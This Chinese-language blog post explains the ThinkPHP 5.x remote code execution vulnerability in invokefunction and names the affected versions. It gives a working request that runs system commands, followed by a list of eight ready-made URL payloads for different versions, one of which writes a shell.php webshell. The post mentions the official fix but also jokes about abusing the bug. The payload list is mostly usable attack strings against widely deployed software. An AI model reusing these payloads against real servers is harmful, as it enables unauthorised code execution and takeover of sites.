thinkphp代碼執行getshell
先來簡單說說前天thinkphp官方修復的一個getshell漏洞,框架對控制器沒有進行足夠的檢測導致的一處getshell
影響的範圍: 5.x < 5.1.31, <= 5.0.23
漏洞危害: 導致系統被提權(你懂的)
這裡附上一個自己測試的 thinkphp的 鏈接 http://www.thinkphp.cn/download/1260.html 版本是5.0.22
先來講下,5.0 跟5.1的區別吧,tp5.1中引入了容器(Container)和門面(Facade)這兩個新的類 tp5.0是沒有這兩個新的類的,
漏洞原理
URL:http://192.168.188.141/public/index.php?s=index/thinkapp/invokefunction
我們先來看看App類裏的 exec函數裏的執行分層控制器的操作
我們這裡是把controller 的調用信息跟配置信息全部傳到了 invokeFunction 這個 執行函數裡面去了
因為thinkApp是第二個入口,在tp運行的時候就會被載入 所以用thinkApp裡面的分層控制器的執行操作的時候,需要去調用invokeFunction這個函數。
這個函數有兩個參數,如上圖所示,第一個是函數的名字,第二個參數數組,
比如$function傳入BaiDu然後$vars傳入[12,555]就相當於調用BaiDu(12,555)
此處我們把function傳入call_user_func_array然後vars[0]傳入我們要執行的函數的名字vars[1]傳入要執行函數的參數,因為vars是個數組 所以此處我們的get請求需要這樣寫
vars[]=函數名&vars[1][]=參數
此處是利用php的數組注入
此時此刻就可以開始利用遠程代碼執行漏洞了 比如我們要執行system函數 他的參數是whoami
http://192.168.188.141/public/index.php?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
下面你懂的,作為一個接班人我們要做的就是修復他(為所欲為?),當然官方更新的最新版本是已經修復了的
這裡就代碼執行成功,以下奉獻上tp不同版本的payload
1. ?s=index/thinkRequest/input&filter=phpinfo&data=1
2. ?s=index/thinkRequest/input&filter=system&data=id 3. ?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content= 4. ?s=index/thinkviewdriverPhp/display&content= 5. ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 6. ?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 7. ?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 8. ?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id本文原創作者:City,本文屬於華盟網,轉載請註明來源於華盟網
推薦閱讀: